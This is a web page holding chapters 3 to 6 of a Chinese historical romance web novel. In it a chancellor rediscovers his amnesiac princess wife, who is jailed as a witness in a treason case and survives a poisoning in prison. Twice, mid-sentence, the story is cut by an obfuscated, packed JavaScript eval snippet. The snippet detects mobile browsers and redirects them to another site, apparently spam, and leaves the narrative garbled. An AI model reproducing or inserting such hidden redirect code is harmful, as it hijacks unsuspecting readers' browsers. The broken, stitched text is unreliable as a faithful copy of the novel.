男人注意到她不对劲,在她倒下之际眼疾手快地伸手接住她,谁知这一碰,才发现她浑身滚烫得厉害,竟是发了高烧。 他面色微变,沉声喝道:“来人!” 外头守着的严詹忙不迭进来,看见晕在他怀中的南荛时脸色大变,急忙出去命人找郎中,待吩咐好了,才进来告罪道:“丞相,是下官考虑不周,以为叮嘱廷尉正之后便无碍了,未曾想到她已经这般虚弱,早知昨日便叫医者来看看……” 裴淩垂睫,注视着怀中女子苍白的面容,神情沉浮不定。 她这么瘦,便是抱在怀里,也轻得像一朵柔软的云,总感觉抓不住,一下子就消散了。 裴淩抬袖,轻轻拭去她眼角洇出的泪痕,正要横抱着她起身出去,却发现她哪怕昏迷了,右手还依然紧攥着那把剪刀。 她不记得他,并对他防备到了极点。 裴淩微微沉默。 “她……”严詹看着这一幕,心里仍觉得荒谬,小心问道:“她当真是殿下?” 裴淩说:“她是。” 洛阳城内人尽皆知,当朝丞相裴淩,有位亡妻。 那位亡妻,有个更加尊贵的身份——先帝独女,华阳长公主萧令璋。 倘若不是亲眼看见,谁也不会想到五年前坠崖、尸骨无存的公主,竟然会大难不死,记忆全失,重新出现在洛阳。 还正好被裴淩看见。 昨日。 裴淩乘车出宫,途经廷尉衙署外,忽然听到阵阵擂鼓声。 “真是稀奇。”驾车的严詹纳闷道:“这大雪天,竟有人在击登闻鼓,还是个女子。” 裴淩正在车内闭目养神,闻言伸手揭帘,漫不经心地朝外头投去一眼。 便是那么一眼。 女子的背影极为熟悉。 裴淩丧妻整整五年,然而对于她的声音、相貌、背影,便是再过五年,也绝不会忘记。 衙役出来押她进去时,他终于看清了她的脸。 是她。 他失而复得的公主。 4. 第 4 章 一个本来死去五年的人,突然活生生地出现在自己面前,那是什么样的感觉? 当年也下着大雪。 公主坠崖的消息传来时,裴淩正在宫中向新帝奏报朝政。 他入仕极早,满腹锦绣才华,乃是名满天下的少年孤臣,弱冠之年便封侯拜相,统率群臣,不可谓不春风得意。 放眼朝堂内外,无人能及。 更重要的是,他新娶了天下间最尊贵的长公主。 那是他的心上人。 即使,他们之间的关系早已不如从前,她不再愿意嫁他,但裴淩还是用自己的方式将她娶回家。 新婚第二日,连新帝也看出他心情甚好,含笑问他:“朕看爱卿心情不错,看来新婚燕尔,与华阳已前嫌尽消?” 裴淩轻笑:“臣与殿下,来日方长。” 她已是他的结发妻子,先帝赐婚,天地为证,她再恼他怨他,只要时间长了,也会慢慢接受的。 毕竟他们之间,是有情的。 少时,她总爱锲而不舍地追在他身后,一声又一声地喊他“裴观清,你今日可真好看。”“裴观清,你快来陪我放风筝!” 观清,是裴淩的字。 阖宫上下,也只有她敢这么唤他。 这意气风发的少年权臣眼睫轻垂,清隽的脸上含着笑意,一想到此处,便不禁心荡神驰,恨不得立刻回到府中,再好好瞧瞧她,抱抱她。 没想到刚出皇宫,才在集市上买了她最爱吃的糕点,就听到侍卫焦急来报,说公主坠崖了。 裴淩怔住,如被雷击,脑中一片空白,难以置信。他慌乱地骑马赶过去,却看到大雪皑皑,天地皆白,什么都不剩了。 大雪封山,士兵无法立刻去崖底寻找她。 等裴淩成功抵达崖底,已是几日后。看到的只有碎裂的马车、她随身的玉佩,以及几具被野狼啃咬过、支零破碎的的尸骨。 连哪具是她都分不清。 裴淩始终难以接受,她就这样死了。就在那日清晨,他临上朝前,还曾将她抱在怀里,如同寻常人家的丈夫与妻子温存,与她缱绻耳语,她却懒洋洋的不愿搭理,只用手轻轻推了推他的肩膀,催促他快些离去。 他看在眼里,只当她还与他闹脾气,临走时掖了掖她鬓边的碎发,又不舍地亲了亲她的眉心。 却未料到,那是他们的诀别。 市集上刚买来的糕点还是温热的,就这样摔了一地,被他着急之下踩得稀碎。 她的死,宛若一把剜心剔骨的刀,彻底斩灭裴淩心中仅剩的柔软与牵挂。本是美如冠玉的少年郎,光风霁月,谈笑自若,当年任谁见了都喜欢,即便杀人也从不见血,从那以后却慢慢变得倦于伪装,杀伐狠绝。 然而,在他的内心深处,还是始终无法走出那场大雪,在深夜,裴淩常常独坐于孤灯下,看着她的那些旧物,一遍又一遍地思念着他的公主。 他开始回想从前。记得初入仕途时,她是如何用那双惊奇清亮的眼睛偷偷打量他,与他说话时,她笑眼盈盈,喜悦而欢欣;后来亲眼见到赐婚圣旨时,又是怎么露出意料之外、嘲讽至极的眼神,她直挺挺地跪下,脊背挺拔得犹如一只难以折翼的鹤,磕头接旨,全然不看他一眼;还有拜堂时,她身着嫁衣,目光平静地望着他,漆黑的眼眸中没有一丝波澜。 好像在说:恭喜你如愿以偿。 他大权在握,春风得意,迎娶公主,风光无限。 但她却并不快乐。 华阳公主萧令璋十二三岁时,曾坐在池塘边出神,分明是无忧无虑的年纪,已是支着脸颊满面愁容,偏头对他说:“裴观清,我很害怕,我很怕会像我阿兄一样,到头来性命被别人捏在手里。” “裴观清,如果有那么一天,你不会和他们一样与我为敌的,对吗?” 当时,裴淩只是淡笑,“殿下说笑了。” 他并未答应她。 回想裴淩这一生,幼年过得不痛快,少时聪敏善谋,便一路青云直上、顺风顺水,越是这样的人越是容易自负,总觉得一切尽在掌握中。 权势和美人他都势在必得,从不认为自己会有输的一天。 到头来只能追悔莫及。 回不了的人,终究也还是回不来。 现在。 他却失而复得了。 裴淩抱紧怀中的南荛,让她的脑袋靠在自己肩上,二人乌发交缠,她软绵绵地陷在他的臂弯里,唇上毫无血色,呼吸滚烫,似团火一阵阵地燎着他。 他闭目等了好一会儿,才好似溺水之人重获呼吸,从这般情绪里挣脱出来。 裴淩起身,把南荛抱去隔间,轻柔地平放在软榻上。 她还一阵阵冒着冷汗。 严詹见丞相在用袖子为她拭汗,忙不迭上前,主动掏出自己的帕子递上,正好看到南荛唇瓣翕动,在无意识地呢喃着什么,凑近细听,才发现她一声声唤着的是“阿浔”,不由得一惊,下意识瞄向丞相的脸色。 他眼睫低垂,一言不发。 裴淩以手掖袖,干净修长的手指捏着她的手腕,微微使力,就掰开了她攥着剪刀的手,才道:“去看看医官来了没。” “是,是。” 严詹感觉到气氛不对劲,连忙出去了。 很快医官便来了。 这医官仔细瞧完后,起身回禀道:“大人,这位娘子先前外感风邪,不曾留意,久而久之便邪热内陷、气血两虚,才致使高烧不退,情绪波动之下骤然昏厥。此外,她似乎还有些旧疾,想来从前生过重病,痊愈之后落下了病根。” 裴淩皱着眉头听完这一长串,目光落在女子苍白瘦削的脸上。 落有病根。 生过重病。 她这五年,到底经历了什么? “严重与否?”他问。 那医官道:“便是邪热内陷,拖延久了也会危及性命,好在发现及时,在下开个方子让她服下,两三日便可退热缓解。至于旧疾,还需要今后慢慢调养。” 他刚说完,严詹便飞速接话道:“应该喝什么药,事后又怎么调养,你现在就给我把方子写出来。” 他对医官打手势示意,对方恭敬施完礼,跟着严詹退了出去。 室内只剩二人。 裴淩定定地看着昏迷中的南荛,面上忽明忽暗,眸光拢着一层轻薄的雾,久久不动,灯烛火光摇晃,不及他眸底泛起的光泽。 窗牗外北风凄凉,飞雪如絮,她的脸色也白得像是要融化在雪里。 他不禁伸手,帮她整理衣裳和头发,又查看她身上有没有显眼的疤痕,指腹有没有茧子。 确认完一遍,才终于放心了些。 恰好就在这时,严詹又从外头进来了。 “丞相。” “什么事。” “王徹已经过来了,正在外头等着。” 裴淩神色冷冷,这王徹看似位列九卿,掌刑司法,实则是个胆小怕事、圆滑怯懦之徒,若非他今日亲自过来,只怕她还要活活病死在诏狱里了。 他转身正要出去,脚步忽然顿住,又不放心地交代一句:“伯玉,你照看好她,晚些备车将她带回去。” 严詹自裴淩为相以来便担任丞相长史,多年来虽为从属关系,但裴淩御下宽仁,私下里唤的是他的字。 严詹迟疑道:“下官有句话……不知当说不当说……” “讲。” “今时已不同往日,在旁人眼里,公主毕竟已经去世了五年,如此骤然将她昭示身份带回,恐怕会引起不小非议。下官觉得时机不当,加之公主如今卷入段氏案,记忆全失,您这样做,一来案子会有所变数,二来,她未必肯领情。” 裴淩听到那句“她未必肯领情”,不禁垂眼看向手心里从她那处夺下来的剪子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131199|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她真的不认得他了。 先前听严詹说她失忆时,裴淩并不全信,直到自己亲眼看见她跪在自己跟前,攥着剪刀盯着自己、一副宁为玉碎的模样,还口口声声喊着别的男人为夫君。 裴淩脸色变得极差,猛地闭了闭眼睛。 严詹注意到丞相的神情变化,继续道:“今日是下官安排不当,未曾检查利器,殿下许是误会了什么,才会在袖子里偷藏剪刀……但您也看到了,她性情刚烈,如今又对别人死心塌地,若强行带她走,只怕会引起更激烈的反抗。” 严詹所言,不无道理。 人虽失忆,但这倔强的性子还在,最好是一步步来,让她心甘情愿地肯跟他走,再筹谋其他。 裴淩静默许久,“那便暂时搁置。” “你先去安排,不要让她病情恶化,还有,她的事先别告诉狄钺。” 严詹拱手领命,“是。” 裴淩拂袖出去。 此时此刻,廷尉王徹正揣着袖子立在寒冷的廊庑下,好不容易等到丞相出现,忙不迭上前行礼:“下官、下官拜见丞相。” 王徹此时的态度,可称得上毕恭毕敬。 他心里七上八下的,极是不安。 着实想不到,今日裴相竟会亲自过来。 若说如今朝中谁最招惹不得,不是天子,而是眼前这位。 裴淩拢袖立在廊庑下,看着外头的雪景,嗓音清淡道:“此番我来,也是要交代你几件事,你仔细听好。” 王徹神色一凛,忙将身子俯得更低,作洗耳恭听状。 “大司马大将军一案兹事体大,圣上虽命你杂治诏狱,且下令软禁中宫、收回皇后印玺,但在此案定罪之前,迟迟拖着不肯降旨废后,可见圣上想要的是什么结果。而今此女既敢击登闻鼓状告此事,你又何不顺水推舟,将此事上呈御前?” 王徹闻言微惊,他原以为丞相是有意促成废后之事,没想到与他想的截然相反,他心底闪过许多念头,踟躇道:“这是否有些不妥,如此一来,太傅那边不就……” 太傅,正是宫中那位正得圣宠的杨贵人之父。 这位贵人杨氏,是在圣上登基以后入宫的,其母乃是圣上的亲姑姑成安大长公主,论出身,杨贵人不输于皇后,只是,皇后为圣上原配发妻,十五岁便嫁给了圣上,数年来顺德贞静、仁孝俭素,虽只诞下了两个公主,但其父官至大司马大将军,地位不容撼动。 可惜,这次段家要是坐实了谋反罪名,皇后也面临着被牵连废黜的风险,后位就会毫无悬念地落在杨贵人身上。 裴相这么做,不就相当于直接搅和了太傅、成安大长公主、以及杨贵人的好事? 王徹想想就瘆得慌。 裴淩听他吞吞吐吐,闪烁其词,转眸,冷冽的目光落在他脸上,“怎么?登闻鼓既响,官必上堂,此乃开国之初立下的规矩。王廷尉身在此位,还想欺瞒谁?” 王徹当然不敢。 他顶着压力连连应是,又小心问道:“那依照流程,此案为下官与严长史、御史丞等杂治,严长史现如今正在此处,下官还要通知御史丞同审此女,再……” 他话还没说完,便被打断。 “不必。” 王徹“啊?”了一声,迷惑抬头。 “那、那不审?” “你与严詹审,此案我盯着,不会有异议。明日你入宫交供词,我亦会入宫。”裴淩看着廊外雪景,微微垂眼,声线清淡。 御史中丞孔巍,当年在宫中任职,认得华阳公主萧令璋的脸。 在事情完全掌握在他手中之前,绝不能贸然让她的身份暴露在所有人的视线中。 王徹只看得到裴相的侧脸,不知其此刻是什么神情,也更加揣测不出他的意图,只低声应道:“是,下官明白了,请丞相放心。” 裴淩不再多看他一眼,抬脚离去。 5. 第 5 章 “我说严詹,你们这几日在忙些什么啊?” 一大早天还没亮,羽林郎中狄钺就跑来丞相府,今日他沐休,朝堂上下风声鹤唳,战事连带着段家案,搅和得不太平,唯独他像个没事人。 狄钺在丞相府兜转了一圈,只看到严詹正挽着袖子在炉前煮什么。 他好奇地凑过去,“丞相生病了?” “不是。” “你病了?” “……也不是。”严詹正在给南荛熬药,丞相亲口吩咐,药得他亲自盯着确保安全才行。 他用手中竹扇拍这碍事的家伙,“我在忙正事,别添乱。” “哎哎哎……”狄钺被他拨得后退一步,表情颇为恼怒,严詹越发不把他当一回事了。 严詹懒得搭理他,忽然想起了什么,“对了,你有饴糖没?” “啊?”狄钺挠头,“我又不爱吃这东西……” 又不是小孩子了,谁还喜欢吃糖? 严詹心里却想:丞相今日进宫前亲口叮嘱,说公主从前怕苦,给她送药的时候要多备着些饴糖,便搁下竹扇道:“帮我看着些火候。”说完不等狄钺叫住他,就匆匆走了。 待他吩咐人上街买了饴糖回来,又折返回来将熬好的药汁倒入碗里,狄钺蹲在一边纳闷道:“神神秘秘的,谁能劳驾堂堂丞相长史亲自煎药,听说你最近天天往廷尉跑,那里有谁值得你这么操心?” 严詹含糊道:“审犯人罢了。” 若不是公主的事还不能让这小子知道,怕他激动之下鲁莽行事,严詹也懒得多费功夫地敷衍他。 他面不改色地从狄钺身边掠过,吩咐马夫去廷尉衙署,便走上了马车。 清晨王徹已在等他,二人边寒暄着,边并肩走进廷尉狱,在审讯室坐下。 很快,不远处便响起一阵铁链叮铃声,时不时夹杂着细弱的低咳。 衙役将南荛带了过来。 严詹抬头,目光落在她身上。 地牢光线暗沉,火把的光自她肩侧照过来,将苍白如雪的面容微微烘亮。 她的长发松散地披在身后,孱弱得仿佛风吹就倒。 严詹心里叹息。 冬夜阴寒,便是昨日给她换了暖和的衣裳、又喂了药,不把人带走,恐怕也收效甚微。 好在,今日过了应该会有转机。 严詹出声唤她:“南荛娘子。” 她听到熟悉的声音,才终于抬头望向他。 可与此同时,她也看到了墙壁上悬挂的那些刑具、鞭子、烧着红碳的火盆等。 一眼望去,令人心惊。 她眼底如被针蛰,飞快挪开眼。 “严长史……” “不用害怕,今日我与王大人只是按流程问话,不会动刑。” 严詹尽量放柔声音同她说话,示意她过来坐下。 严詹年少为官,才华卓荦,如今佐助丞相署理诸曹,虽说这一身官服颇有几分威严与压迫感,但南荛还记得他身着常服,轻袍缓带、儒雅和善的样子。 她想了想,慢慢走过去坐下,长长的睫羽低垂,在光下微微颤动。 严詹见她精神尚可,才放心地摊开竹简,拿起羊毫道:“我问你答,事无巨细,皆要一一交代清楚。” 南荛:“好。” “你自称为段家小公子之妻,手上虽有信物证明,也曾上报官府有所记录,但为何从前不见你出现在洛阳?” “五年前,民女病入膏肓,在洛阳郊外被段浔所救,而后,为了救我的命,段浔带我一路远离洛阳,四处寻访名医……后来,即便我身体好了,有些旧疾也时常反复,洛阳城内人事繁多,我夫君一来想让我安心静养,二来怕我身份微贱,难以立足,我们才留在了段氏祖籍所在的青州。” 严詹听她提起治病的过往,心中不禁唏嘘。 想当初华阳公主最是争强好胜,六艺俱佳,骑射不输男儿,何其神采飞扬、光芒耀眼? 严詹又问:“那你又何以确定,段家绝未行谋反之事?” 南荛笑了笑,“大人心里难道不清楚吗?段家若当真要行谋反之事,段浔的大兄二兄又为何战死?段家三子,皆死在抵御外敌的沙场上!民间皆传段家父子擅募私兵,然则去年兖州旱灾,虫蝗少谷,饥荒甚重,我与段浔设棚救济灾民,以致于当时捉襟见肘,试问这募兵钱从何来?若大人不信,要查当时账目,我此处也有记录,除此之外,段浔出征前,与其父来往书信也皆留存于我手。” 她气弱声微,撑着一口气说完,又是低头一阵猛咳。 咳着咳着,眼底不禁泛红,不自觉攥紧腕上镣铐的手。 严詹笔尖稍顿,与身侧的王徹对视一眼,又继续换别的问题。 审讯过程极为顺利,共用了两个时辰。王徹整理好案卷与供词,便起身拿着竹简离去,南荛正要跟随狱卒重新回到牢房,临走时却被严詹叫住。 一碗热腾腾的药被端在了她面前。 严詹笑道:“虽是在诏狱里,但娘子还是要顾惜性命。” 他边说,边将手伸入袖子,打算掏出先前准备的饴糖。 谁知还没来得掏出来,南荛就已经直接端起托盘上的药碗,仰起头一口饮尽。 喝完后,她面色不改地对他道:“多谢大人关心。” 严詹悻悻收回手,干笑两声,“呃……不必客气。” 药汁虽苦涩,但南荛这五年常常与药为伴,早就不怕苦。她心里反而有别的想问,望着他道:“敢问大人,今日提审是要……” 她心里惶惑,弄不清楚现在的状况。 昨日她晕倒那般突然,后来的事都不记得了,就连那位大人对案子的态度也不曾摸清楚。 严詹听她这么问,登时笑道:“你别怕,昨日你见的那位大人已决定帮你。今日写好口供,稍后便会上呈宫中,后续自然是依照流程……”他顿了顿,略微压低声音,“不过,此案牵涉甚广,你既是关键证人,哪怕在身处这守卫森严的廷尉狱,也要小心保重,尤其是饮食上的,更要格外小心。” 他叮嘱得非常仔细,南荛心底一动,顺口应下来。 待被回到牢房后,她抱膝蜷在角落里,还仔细回想着方才严詹的话。 关键证人……小心保重…… 尤其是饮食上的…… 入夜以后,狱卒过来例行送饭,把清粥馒头隔着牢门放在地上就走了,南荛已经有些饥饿,回想起严詹的话,没有去碰那些食物。 也许不是她多想。 “呃——” 耳边骤然传来一声嘶哑的惨呼。 南荛猛地睁开眼。 只听声音传来那处,正是关在她不远处牢房的一个女犯,对方才吃了一半便重重地倒在地上,双手捂着腹部,似遭受什么巨大痛苦般地疯狂扭动起来,乱挥的手臂打翻饭碗,两眼突出充血,喉间不断地发出“咯咯”声。 这副症状,像中了剧毒。 南荛惊惧地望着眼前这一幕,手脚冰凉,猛地起身拖着铁撩扑向牢门,对着外头急切地大喊:“快来人,救命!有人中毒了——” “快来人啊!” 她只来得及喊两声。 毒药下得极其猛烈,那女犯短短片刻便开始呕血,白衣瞬间被染出一片刺目的殷红,眼睛耳朵都往外流出浓黑色的毒血,四肢挣扎的幅度渐渐弱了下去。 很快,就再也不动了。 南荛怔怔地扶着牢门,死死盯着那女犯的尸体,浑身上下的血液瞬间凝固,大脑一片混乱。 她死了。 是谁在暗中下毒? 是冲着她来的吗?那为何会毒死别人?她的饭碗里又有没有毒? 诏狱里潮湿阴冷,逐渐被令人作呕的血腥气覆盖,南荛只觉得喉头涩意上涌,伸手死死捂着唇喘息,双腿却好似被冰冷长鞭隔空抽了一记,膝盖泛软,摇摇欲坠,双手死攥着牢门硬撑着。 第一次,她亲眼看到活生生的人死在眼前。 她却根本控制不住自己,只死死地盯着那女犯的尸体,牙关死咬,眼底泛红充血。 不消片刻。 远处终于有了脚步声。 来者不是一个人,而是一群人。 南荛猛地抬头看过去,没想到出现的竟是那日见到的大人,廷尉正王徹、严长史等人皆恭敬地跟在他身后。 侍从打开牢门,翻看检查那具尸体,起身禀报道:“已经断气了。” 王徹轻嘶一口冷气,“这毒倒是下的真够狠,发作的这么快,看来丝毫没打算留活路。”他指指两侧的侍从,“你们快去看看,除了她还有多少人中毒了。” 侍从匆忙离去。 严詹走上前,蹲下来去观察那女尸死状,又从袖子里拿出根银针,插入用了一半的饭菜里,果然针变黑了,“七窍流血,看这毒发速度,我看是饭菜里下了砒霜。”他起身,走到南荛所在的那间牢房前,伸手进去拿起南荛未曾动过的馒头,把另一根银针插进去,抽出来。 也变黑了。 南荛看得清楚,只觉一股寒意快速窜上脊背,攥着木栏的手指用力抠紧,抿紧唇。 果然是要杀她的。 倘若她今日反应稍慢,也被毒死了。 严詹起身道:“这牢中每个犯人的吃食皆一样,我看,对方是不确定每一份饭是给谁的,宁可错杀也不放过,干脆都下了毒,实际上这真正想杀的人,是南荛。” 他说完,便看向不远处。 那边,裴淩正注视着地上的女尸,眉头微蹙,不知在想什么。 裴淩冷声道:“今日负责狱中膳食的人是谁,一并拘起来问话,不管用什么刑讯手段,都要把嘴撬开。” “是。” 王徹连忙摆手示意衙役领命,又上前对裴淩拱手道:“您放心,昨日您提醒的时候,下官就已经提前派人留意了,定能顺藤摸瓜揪出这背后的人,到时候该如何上报御前,下官心里有数。” 王徹混迹官场,秉承着谁也不站队、明哲保身的原则,如今也被逼着不得不为裴淩鞍前马后。 “先下去吧。” “下官遵命。” 待王徹退下后,裴淩才侧眸看向一边的南荛。 她还呆呆地站在那处,脸色发白,眼睫蕴着泪光,像是被惊吓到还没缓过神来。 他缓步走到她面前。 两侧的火把散发着明亮的光,逐渐映亮他隐没在黑暗中的容颜,将那双眼睛映得浓黑、彻冷。 她一双眸子蕴着泪光,抬头,隔着牢门与他的视线对上。 “吓到了么。”他问。 比起方才同别人说话的语气,此刻他声线平静和缓,在这森冷牢狱之中,竟被衬出了几分微妙的温柔。 南荛闭目咬牙,没有说话。 裴淩视线下移,借着火光,看见她脸颊上残留着两滴泪,不禁下意识想伸手帮她拭去。 严詹正想用咳嗽声提醒他,现在尚未相认,男女授受不亲,这样不妥。 然而,南荛已先一步别开脸,躲开了他的手。 裴淩的手指滞在半空中。 她掀起睫羽,眸底的泪光如被浸了水的丝绸,湿凉冰冷,直直望着他,充斥着失望与愤懑,“大人既然一直在,方才民女呼救,为何不救人?” “在怪我?” 她沉默。 牢房岑寂,唯剩呼吸声,一片寂静中,对方似乎极轻微地发出了声叹息,把手收回袖中,才再度开口:“在这诏狱里,死个人,再正常不过。理由自然不缺,或畏罪自尽,或不堪受辱,或熬不住刑讯,只要人死了,就死无对证。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131200|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这便是你击鼓鸣冤的后果,廷尉昨日接你诉状,今日便有人杀你。至于误杀几个人,没有人会在乎。” “你走的,是死路。” 死路。 冰冷残酷的两个字,直白挑明,毫不留情。 南荛的心骤沉。 她胸腔起伏,攥着牢门的双手不自觉用力,指骨泛白。 裴淩本无心恐吓她,只是越残酷的话,越能把人敲得清醒。他侧眼看向那具女尸,冷声道:“他们今日杀你不得逞,明日还会换别的方式再来,直到彻底夺了你的性命。” “民女知道。” 她垂下眼,声音嘶哑,“段氏一族,武将辈出,即便称不上世家之首,也当得起名门望族,试想这世上若有谁敢对付他们,也必是位高权重。民女无权无势,还敢孤身来此击登闻鼓,无异于螳臂当车,自寻死路。” 可这段时日,她只要入梦,就会反反复复梦见那些场景。 时而梦见自己如往常般在等阿浔回家,却听到许多人在谈论近日段大将军打败仗的事,说段家三个儿郎悉数战死沙场;时而又梦见她行走在路上,听见茶馆内许多读书人都在痛骂段氏一族。 他们义愤填膺,振振有词,好像亲眼见着了他们造反似的。 段氏一族,发迹于青州,祖上世代为官,出将入相,名臣辈出,其家学风骨得世人敬仰,段浔为家中幺子,其长姊入主中宫、母仪天下,两个兄长亦是久经沙场,战功累累。 于这样铮铮傲骨的满门忠烈,人言便如凌迟刀,活着时可杀人诛心,死后亦能鞭尸剔骨。 若段家此番被定下谋反之罪,全族四百余人便会悉数斩首,弃尸郊外,无人收殓,受尽世人唾骂侮辱。 阿浔临走前,给她留了信物,若他出事,她大可去寻求他好友庇护,继续安逸度日,不去管段家那些将被冤死的人。 是她拗不过自己的良心。 “想活么?” 冷不丁三个字,引起她抬头。 “什么?” 她怀疑自己听错了。 裴淩却缓步靠近,隔着木栏低眼看她,二人对视着,距离近在咫尺。 “你若想活,今日死的便可以是‘南荛’,此案今后无须你再作证,你可以趁此机会离开廷尉狱,保全性命。” 南荛反应了一会儿,才明白他的意思,眼睛微微睁大。 ——既然已经死人了,不如将计就计,让死人顶替她的身份,声称段氏一案的证人被下毒灭口,这样就既可以借题发挥,也显得背后之人做贼心虚,下毒之人一经查出,就更难脱身。 而她,就可以自此离开诏狱,也没有性命之忧了。 对她来说是活路。 可是,这样一来,段氏案就再和她没有关系,在世人眼里,“段浔之妻南荛”就彻底死了。 她要答应吗? 裴淩静静伫立在原地,这已是他能想出的,最快带她离开的法子。 对她有利无弊。 击鼓鸣冤,本就绝路时的选择,能以死换来昭雪都已是上天开眼,何况不仅能保命,还有能别人帮自己完成后面的事。 她可以把这一切都交给眼前的人。 南荛久久沉默。 监牢昏暗,壁灯将站立的几簇人影拉得细长,随着火光明灭跳动,影子亦飘若鬼影。 正常人在此处被关得久了,也许就会产生一种错觉,分不清自己和旁人,谁是人,谁是鬼。 “我不愿意。”她忽然开口说。 裴淩骤然抬眼,严詹也惊讶地看过来。 她垂睫望着脚下那一缕飘忽的影子,“大人给出的条件的确令人心动,只是,倘若民女信了大人,今日真的‘死了’,万一您日后食言,那时民女就算想做什么,也再无立场和身份去做任何事。” “民女与大人相识不过两日,请恕我不太相信大人。” “我选择伸冤,只是觉得应该这么做,便做了,没有想那么多,”她平静地抬起眼,尽管眼中还带着泪光,在这昏暗的牢房里却显得格外明亮有神,直视着眼前的人,“既是我自己的选择,我也不想拖累别人,即使今日被毒死的是我,我也不后悔。” 裴淩听她说着这些无谓生死的话,薄唇抿起,脸色逐渐变差。 被毒死也不后悔? 他万万没想到会听到这番话,他的公主,从前那般聪慧果断,如今仅仅只是失了忆,短短五年间就变得对别人这般死心塌地。 姓段的到底给她灌了什么迷魂汤? 明明他才是她的夫君。 裴淩唇角勉强堆起的温和笑意倏然淡了下去,他本就心情不佳,此刻似烦躁般别过脸,不再面对着她,目光落在不远处那具尸体上,冷道:“想死自然轻巧,仅仅片刻功夫便能解脱,今日我若不让严詹提醒你,你也早就已经死了。” 她怔了怔,没想到严詹提醒她,是被他授意的。 心里不禁感到异样,明明他们非亲非故,可打从第一面起,他就好像对她非常关照,总让她无所适从。 南荛想了想,后退一步与他拉开距离,再恭恭敬敬地朝他的背影跪下叩拜,低声道:“多谢大人好意。民女只求大人秉公断案,除此之外,别无所求。” 眼前的人背对着她,她看不到他的神情,只能径自说出内心最诚挚的想法。 严詹眼见着丞相为她费心打算,今日出宫后又一直守在暗处陪着她,想开口又不知如何开口,最终迂回到了这一步,还是被拒绝了。 许久未听裴淩开口,严詹不禁偏头看去。 监牢幽暗,男人的侧脸俊挺而冷漠,一缕火把的光打在他的侧脸上,于鼻梁处切割下一道泾渭分明的明暗线,光下那双黑眸忽明忽暗,情绪难辨。 袖中之手,早已攥得骨节泛青。 6. 第 6 章 严詹跟在裴淩后头,一路穿过抄手游廊。 夜深人静,灯笼被北风吹得摇摇晃晃,前路昏暗,雪沫扑面,沿途积雪湿滑,走得太快便极易摔跤。 严詹一边抬手稳着头顶上的官帽,一边追着前头走得极快的裴淩。 “下官觉得殿下拒绝也是人之常情,哎,您走慢些……公主从前就是这性子,您又不是不知道。” 严詹只当裴淩是被她激怒,边追边说。 “没生气。” “本来也不该生气,您在她眼里也就是个陌生人……” 裴淩已行至书房外,听到这句,脚步骤然停顿。 他笑了声,“是,陌生人。” 他分明像是在笑,却莫名让人听了心里发憷,右手骤然使力,推开紧闭的门扉,风雪卷着广袖直直往里灌,震得门扉吱呀乱晃。 裴淩缓步走进黑暗,掖袖点灯,一簇火光在眼底猝然跃起。 “让你查她的事,有结果么?” 严詹忙道:“查到了,公主这些年身子不好,看过许多医者,有部分已经找到,下官正在叫人整理,到时候再依次向他们打听公主的事。除此之外,她这一路来洛阳,也着实是不易,几度被歹人盯上,好在有惊无险。至于来洛阳后,她击登闻鼓前,还去见过一个人。” “谁?” “陆恪。” 裴淩对这个名字倒没什么印象,连对应的脸都想不起来。 严詹已解释道:“这陆恪,现任大司农属官均输令,祖籍青州,其父陆劲也称得算当世名儒,数年前,陆恪才入京为官。陆家上下在朝中一向低调谨慎,不贪功不冒进,没什么存在感。” “继续说。” “陆恪与段浔,少时同住青州,有同窗之谊,私交甚笃。下官今早审讯时特意问过公主,公主说段浔出征前给她留过信物,倘若段浔此去不回,殿下便可手持信物投奔他人。下官猜,她所说之人就是陆恪。” 陆段两家,的确是有些交情。 不过,段家如今身处漩涡,朝中多数人装聋作哑,陆家上下皆低调行事,在朝中缄口无言,想必有心无力,只求明哲保身。 随着严詹说话,裴淩已经不紧不慢地点亮了第七盏蜡烛,书房内顿时明亮如昼,敞开洞橱内挂了幅女子丹青图,也在次第燃起的烛光中一寸寸变得鲜活起来。 他侧目盯着那画,半晌才垂睫,语气无甚起伏,“你明日把陆恪叫来,记得暗中行事。” 严詹低头应是。 - 南荛蜷坐在监牢里,头脑昏昏沉沉,忽然听到脚步声迫近,到她这间牢房外便停住了。 她自混沌中清醒过来,抬起头,看到来者时颇为惊讶。 “陆公子?” “弟妹。” 陆恪穿的是身竹青色常服,身后跟着几个狱卒,他隔着牢门望着她,笑了笑,“别来无恙。” 狱卒打开牢门,陆恪走了进来,等他们锁好门离开,倒也无所谓这地儿干不干净,随意一撩衣袍,坐在了南荛跟前的烂草堆上。 南荛惊怔问:“你怎么会来此……” 她万万没想到会在此看见他,廷尉狱如此森严,凡进来的皆是重犯,难道还允许像他这般探监的么? 陆恪笑道:“我来,是为了你。” 她瞬间便明白了,喃喃道:“难道是他……” 她这话没头没尾,并未说“他”是谁,陆恪却好似意会了般,问道:“你可知道他的身份?” “隐约……能猜到一些。” 一开始只是猜测。 南荛初次见严詹,就听到别人唤他为“长史”,偌大洛阳城内,能插足位列九卿的廷尉断案,与之杂治诏狱的“长史”少之又少。 严詹尚是如此身份,那么,她那日所见的贵人,风仪严峻,气度凛然,就连廷尉正王徹在他跟前,也敛容息气,不敢造次。 他又是谁呢? 放眼天下,位于九卿之上的不止一人,但这么年轻的却凤毛麟角。 只剩下一人。 ——当朝丞相,裴淩。 